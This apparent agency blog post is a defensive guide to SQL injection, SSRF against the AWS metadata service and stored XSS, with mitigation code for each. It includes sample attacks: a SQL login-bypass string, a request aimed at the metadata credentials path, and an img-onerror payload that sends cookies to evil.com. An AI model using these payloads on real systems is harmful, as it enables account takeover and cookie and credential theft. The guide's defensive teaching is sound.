Engineering

Preventing SQLi, SSRF & Stored XSS in 2026: Modern Web Defense Patterns

Sachin SharmaAugust 29, 202625 min read
Preventing SQLi, SSRF & Stored XSS in 2026: Modern Web Defense Patterns

An actionable web application security engineering guide to eradicating top web vulnerabilities: parameterized queries against SQLi, AWS IMDSv2 against SSRF, and DOMPurify with Trusted Types against Stored XSS.

Preventing SQLi, SSRF & Stored XSS in 2026: Modern Web Defense Patterns

Despite decades of security documentation, the "Classic Trinity" of web application vulnerabilities—SQL Injection (SQLi), Server-Side Request Forgery (SSRF), and Stored Cross-Site Scripting (XSS)—continues to cause devastating real-world data breaches:

  • SQL Injection: A developer writes a dynamic raw SQL string query inside a modern ORM, allowing attackers to dump entire user databases and bypass authentication.
  • Server-Side Request Forgery (SSRF): A webhook or PDF generation service accepts a user-provided URL (http://169.254.169.254/latest/meta-data/), allowing attackers to query the cloud metadata service and steal AWS IAM temporary credentials.
  • Stored XSS: An un-sanitized markdown bio or customer review executes malicious JavaScript (<img src=x onerror=...>) in the admin dashboard, stealing admin session cookies and hijacking accounts.

In 2026, Securing Web Applications Requires Modern, Defense-in-Depth Patterns.

In this deep cybersecurity engineering guide, we break down how to permanently eliminate SQLi, SSRF, and Stored XSS using Strict Parameterized Queries, AWS IMDSv2 with IP Hop Limits, Egress Private CIDR Filtering, and DOMPurify with W3C Trusted Types based on production security standards at MojoStudio.


1. The 2026 Web Vulnerability Defense Blueprint

Plain Text
+-----------------------------------------------------------------------------------------+
|                  The Modern Web Application Security Architecture                       |
+-----------------------------------------------------------------------------------------+

1. SQL INJECTION DEFENSE (Data Layer):
   - 100% Prepared Statements / Parameterized Queries (Drizzle / Prisma / pg).
   - Least-Privilege DB Connection (App user cannot DROP TABLE or access pg_shadow).

2. SSRF DEFENSE (Network & Cloud Layer):
   - Enforce AWS IMDSv2 (Session token mandatory, Hop Limit = 1).
   - DNS Resolution Hook: Block requests to private CIDR blocks (10.0.0.0/8, 127.0.0.1, 169.254.169.254).

3. STORED XSS DEFENSE (Browser & Presentation Layer):
   - Context-Aware Sanitization via DOMPurify.
   - Strict Content Security Policy (CSP) + W3C Trusted Types (Blocks innerHTML).

2. Eliminating SQL Injection (SQLi)

SQL Injection occurs whenever untrusted user data is concatenated directly into a SQL query string, allowing the database engine to interpret user input as executable SQL commands.

SQL
-- DANGEROUS VULNERABLE CODE (String Interpolation)
const query = `SELECT * FROM users WHERE email = '`{req.body.email}' AND password = '`{req.body.password}'`;
-- Attacker inputs: ' OR '1'='1
-- Result: SQL Engine returns ALL users, granting instant admin access!

The 2026 Solution: Strict Parameterized Queries

Parameterized queries (Prepared Statements) separate the SQL code structure from the data values:

TypeScript
import { Pool } from "pg";

const pool = new Pool();

// SECURE PRODUCTION PATTERN (Parameterized Query)
export async function authenticateUser(email: string) {
  const query = `
    SELECT id, email, password_hash, role 
    FROM users 
    WHERE email = $1;
  `;
  
  // The PostgreSQL database parser compiles the query structure FIRST.
  // The value of $1 is passed strictly as raw data; SQL execution is IMPOSSIBLE!
  const result = await pool.query(query, [email]);
  return result.rows[0];
}

3. Eliminating Server-Side Request Forgery (SSRF)

In cloud environments (AWS, GCP, Azure), applications often fetch external resources (e.g. fetching an avatar image or validating a user-provided webhook URL).

If an attacker provides an internal metadata IP address:

HTTP
POST /api/generate-pdf
{"document_url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/app-role"}

The backend server fetches the URL internally and returns the response, leaking full AWS IAM administrative access keys to the attacker.

Plain Text
+-----------------------------------------------------------------------------------------+
|                  SSRF Attack Vector against Cloud Metadata Services                     |
+-----------------------------------------------------------------------------------------+

[Attacker] ---> [POST /fetch-url: "http://169.254.169.254/..."]
                       |
                       v
         [Vulnerable Backend Server (AWS EC2)]
                       |
                       v (Server queries internal metadata link)
         [AWS Instance Metadata Service (169.254.169.254)]
                       |
                       v (Returns AWS_ACCESS_KEY_ID & AWS_SECRET_ACCESS_KEY!)
[Attacker Takes Over Entire AWS Cloud Account!]

The 2-Tier SSRF Defense in 2026:

Tier 1: Enforce AWS IMDSv2 with Hop Limit = 1

AWS Instance Metadata Service v2 (IMDSv2) requires a session-oriented PUT request with a secret token header that SSRF exploits cannot forge:

TERRAFORM
# OpenTofu / Terraform: Enforce IMDSv2
resource "aws_instance" "app_server" {
  ami           = "ami-123456"
  instance_type = "t4g.medium"

  metadata_options {
    http_endpoint               = "enabled"
    http_tokens                 = "required" # Enforces IMDSv2! (Blocks IMDSv1)
    http_put_response_hop_limit = 1          # Blocks metadata access through proxies or Docker containers!
  }
}

Tier 2: Application-Level Private CIDR Filtering

Validate URLs after DNS resolution to prevent DNS rebinding attacks:

TypeScript
import ipaddr from "ipaddr.js";
import dns from "dns/promises";

export async function validateSafeExternalUrl(rawUrl: string): Promise<boolean> {
  const parsed = new URL(rawUrl);

  // 1. Enforce HTTPS only
  if (parsed.protocol !== "https:") return false;

  // 2. Resolve Hostname to IP Address
  const addresses = await dns.resolve4(parsed.hostname);
  for (const ip of addresses) {
    const addr = ipaddr.parse(ip);

    // 3. Block Loopback, Private LANs, and Cloud Metadata (169.254.0.0/16)
    if (
      addr.range() === "loopback" ||
      addr.range() === "private" ||
      addr.range() === "linkLocal"
    ) {
      throw new Error(`SSRF Attempt Blocked: IP ${ip} is restricted!`);
    }
  }

  return true;
}

4. Eliminating Stored Cross-Site Scripting (XSS)

Stored XSS occurs when malicious HTML/JavaScript submitted by one user is saved in the database and rendered without proper sanitization in other users' browsers.

HTML
<!-- Malicious payload saved to database: -->
<p>Check out my profile! <img src="invalid-image" onerror="fetch('https://evil.com/steal?cookie=' + document.cookie)" /></p>

The 2-Tier XSS Defense in 2026:

Tier 1: Client & Server Sanitization with DOMPurify

Never render untrusted user HTML using dangerouslySetInnerHTML in React without running DOMPurify:

TypeScript
import DOMPurify from "isomorphic-dompurify";

export function sanitizeUserHtml(untrustedInput: string): string {
  return DOMPurify.sanitize(untrustedInput, {
    ALLOWED_TAGS: ["b", "i", "em", "strong", "a", "p", "ul", "li", "code", "pre"],
    ALLOWED_ATTR: ["href", "title", "target"],
    ALLOW_DATA_ATTR: false,
  });
}

Tier 2: Enforcing W3C Trusted Types via Content Security Policy (CSP)

Trusted Types forces the browser to physically throw a JavaScript TypeError if any code attempts to pass a raw string into dangerous DOM sinks like element.innerHTML:

HTTP
Content-Security-Policy: require-trusted-types-for 'script'; trusted-types default dompurify;
JavaScript
// Browser enforces that strings MUST pass through a registered Trusted Types policy!
// Raw string injection is mathematically blocked by the browser engine!
element.innerHTML = untrustedString; // Uncaught TypeError: This document requires 'TrustedHTML'!

5. Security Checklist: 2026 Defense Matrix

VulnerabilityAttack Vector2026 Production Prevention Standard
SQL Injection (SQLi)Concatenated query strings100% Prepared Statements (Parameterized SQL)
SSRF (Cloud Metadata)169.254.169.254 probeAWS IMDSv2 (Hop Limit = 1) + CIDR Blocklists
Stored XSS<script> or <img onerror> in DBDOMPurify Sanitization + W3C Trusted Types CSP
Session HijackingXSS stealing cookiesHttpOnly; Secure; SameSite=Strict Cookies

Conclusion: Defense-in-Depth Engineering

Securing modern web applications is not about applying a single magical patch; it is about building layered defense architectures at every tier of the stack.

By enforcing parameterized SQL queries at the data layer, isolating cloud metadata with IMDSv2 and DNS resolution hooks, and locking down the browser with DOMPurify and W3C Trusted Types, engineering teams eliminate the classic vulnerabilities that plague vulnerable web applications.

At MojoStudio, our cybersecurity engineering team conducts comprehensive web application penetration testing, automated SAST/DAST pipeline integration, and secure architecture audits. Contact our team to audit and harden your web platforms today.


Frequently Asked Questions

1. What is the difference between SQL Injection and Stored XSS?

SQL Injection attacks the backend database by manipulating query syntax to access or destroy data. Stored XSS attacks client browsers by saving malicious scripts into the database that execute when other users view the compromised content.

2. What is Server-Side Request Forgery (SSRF)?

SSRF is a vulnerability where an attacker tricks a backend server into making unauthorized HTTP requests to internal network resources, private APIs, or cloud metadata endpoints that are inaccessible from the public internet.

3. How does AWS IMDSv2 prevent SSRF attacks?

IMDSv2 requires a session token obtained via an HTTP PUT request with an X-aws-ec2-metadata-token-ttl-seconds header. Most SSRF vulnerabilities can only execute simple GET requests, preventing attackers from accessing instance metadata.

4. Why is setting http_put_response_hop_limit = 1 critical for IMDSv2?

Setting the hop limit to 1 ensures that the metadata response packet cannot traverse network boundaries (such as passing through Docker container bridges, reverse proxies, or Kubernetes network layers).

5. What are W3C Trusted Types in modern web security?

Trusted Types is a browser security feature enforced via Content Security Policy that locks down dangerous DOM sinks (like innerHTML and document.write), requiring developers to pass cryptographically typed TrustedHTML objects processed by sanitization policies.

6. Can modern ORMs (like Prisma or Drizzle) still suffer from SQL Injection?

Yes. While standard ORM query builders use parameterized queries, developers frequently use "raw query" functions (e.g. prisma.$queryRawUnsafe) with string interpolation, reintroducing SQL injection vulnerabilities.

7. How does DNS Rebinding bypass simple SSRF domain whitelists?

In a DNS rebinding attack, an attacker controls a domain name that initially resolves to a safe public IP (passing validation checks) and immediately changes the DNS record to resolve to 127.0.0.1 or 169.254.169.254 when the server fetches the data.

8. What is DOMPurify?

DOMPurify is a high-performance, open-source JavaScript sanitization library for HTML, MathML, and SVG that strips all malicious XSS vectors while preserving safe styling and text markup.

9. Why is least-privilege database user configuration essential?

If an application database user only has SELECT, INSERT, and UPDATE permissions on specific tables, an attacker who successfully exploits an edge-case SQL injection cannot execute DROP TABLE, create new administrative database users, or read system tables.

10. How does MojoStudio help companies eliminate web vulnerabilities?

MojoStudio conducts thorough white-box code audits, implements automated SAST/DAST testing in CI/CD, hardens cloud infrastructure against SSRF, and deploys strict Content Security Policies. Explore our Backend & Web Services to learn more.

Frequently Asked Questions

SQL Injection attacks the backend database by manipulating query syntax to access or destroy data. Stored XSS attacks client browsers by saving malicious scripts into the database that execute when other users view the compromised content.

Have a project in mind?

Let's build it.

Start a project